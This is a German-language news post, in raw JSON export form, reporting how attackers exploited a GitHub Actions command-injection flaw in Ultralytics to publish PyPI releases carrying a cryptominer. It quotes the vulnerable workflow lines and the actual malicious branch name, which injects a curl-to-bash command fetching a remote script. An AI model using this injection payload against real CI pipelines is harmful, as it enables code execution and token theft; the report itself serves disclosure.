{"id":120890,"date":"2024-12-07T15:46:00","date_gmt":"2024-12-07T13:46:01","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics"},"modified":"2024-12-07T15:46:00","modified_gmt":"2024-12-07T13:46:01","slug":"oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics","status":"publish","type":"post","link":"https:\/\/prohoster.info\/de\/blog\/news\/oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics","title":{"rendered":"Ein Fehler im GitHub Actions Handler f\u00fchrte zur Ver\u00f6ffentlichung von sch\u00e4dlichen Versionen von Ultralytics.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"
Die Angreifer konnten Code mit den Rechten eines GitHub Actions-Handlers im Repository der Python-Bibliothek Ultralytics ausf\u00fchren, die f\u00fcr Aufgaben der Computer Vision wie die Objekterkennung in Bildern und die Segmentierung von Bildern verwendet wird. Nachdem sie Zugriff auf das Repository erhalten hatten, ver\u00f6ffentlichten die Angreifer mehrere neue Versionen von Ultralytics im PyPI-Katalog, die b\u00f6sartige \u00c4nderungen zum Mining von Kryptow\u00e4hrungen enthielten. Im letzten Monat wurde die Ultralytics-Bibliothek mehr als 6,4 Millionen Mal aus dem PyPI-Katalog heruntergeladen. <\/p>\n
F\u00fcr die Kompromittierung des Repositories wurde eine Schwachstelle im Paket ultralytics-actions genutzt, das zum automatischen Start von Handlern bei bestimmten Aktionen im Repository auf GitHub verwendet wird, unter Verwendung des Mechanismus GitHub Actions. Im Projekt ultralytics wurde der verletzliche Handler an das Ereignis pull_request_target gebunden und wurde bei Eingang neuer Pull-Anfragen aufgerufen. Insbesondere wurde der Handler format.yml zum Formatieren des Codes in eingehenden Pull-Anfragen aufgerufen und der im Abschnitt \u201erun\u201c der Datei action.yml angegebene Code ausgef\u00fchrt, der Shell-Befehle mit Platzhaltern enthielt: git pull origin ${{ github.head_ref || github.ref }} git config \u2014global user.name \u201e${{ inputs.github_username }}\u201c git config \u2014global user.email \u201e${{ inputs.github_email }}\u201c <\/p>\n
Somit wurde der Name des Git-Zweigs, der in der Pull-Anfrage erw\u00e4hnt wurde, ohne ordnungsgem\u00e4\u00dfe Escaping in die Shell-Befehle eingef\u00fcgt. Bemerkenswert ist, dass im August im Paket ultralytics-actions bereits eine \u00e4hnliche Schwachstelle behoben wurde, die mit der Verwendung eines externen Wertes in der Funktion echo zusammenhing: echo \u201egithub.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}\u201c <\/p>\n
Um die Ausf\u00fchrung ihres Codes im Kontext des GitHub Actions-Handers zu organisieren, sendeten die Angreifer einen Pull-Request an das Repository ultralytics, wobei sie als Branch-Namen angaben: openimbot:$({curl,-sSfL,raw.githubusercontent.com\/ultralytics\/ultralytics\/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545\/file.sh}${IFS}|${IFS}bash) <\/p>\n
Daher wurde bei Eingang einer Pull-Anfrage der von den Angreifern festgelegte String \u201e$(…)\u201c in den Code eingef\u00fcgt, der bei der anschlie\u00dfenden Ausf\u00fchrung des Handlers den Befehl \u201ecurl -sSfL raw.githubusercontent.com\/...\/file.sh | bash\u201c zur Ausf\u00fchrung brachte.
<\/center> <\/p>\n
Das Ausf\u00fchren von Code im Kontext von GitHub Actions kann verwendet werden, um ein Zugriffstoken f\u00fcr das Repository und andere vertrauliche Daten zu erfassen. Wie genau es den Angreifern gelang, einen Release zu erstellen, indem sie die Ausf\u00fchrung ihres Codes in GitHub Actions erm\u00f6glichte, ist derzeit unklar. Es wird vermutet, dass dies durch eine \u00c4nderung des Handlers publish.yml m\u00f6glich wurde (die Angreifer entfernten die \u00dcberpr\u00fcfung des Kontos, von dem aus das Ver\u00f6ffentlichen von Releases in PyPI erlaubt ist) und durch die Verwendung der Technik der Vergiftung des Build-Caches von GitHub Actions, um ihre Daten in den Release einzuf\u00fcgen. <\/p>\n
Der erste schadhafte Release von Ultralytics 8.3.41 wurde am 4. Dezember um 23:51 (MSK) von den Angreifern im PyPI-Katalog ver\u00f6ffentlicht und am n\u00e4chsten Tag um 12:15 entfernt. Um 15:47 wurde ein weiterer Release 8.3.42 ver\u00f6ffentlicht, der um 16:47 entfernt wurde. Somit waren die sch\u00e4dlichen Versionen insgesamt etwa 13 Stunden lang zum Download verf\u00fcgbar (an einem Tag werden im PyPI etwa 250.000 Downloads der Bibliothek ultralytics verzeichnet). In den Releases 8.3.41 und 8.3.42 war Code enthalten, der von externen Server<\/a> Komponenten XMRig zum Mining von Kryptow\u00e4hrung herunterl\u00e4dt. <\/p>\n
![\"Ein](\"\/wp-content\/uploads\/2024\/12\/c734b63e67d629d8af635f4193bfb0d0.png\")
<\/center> <\/p>\n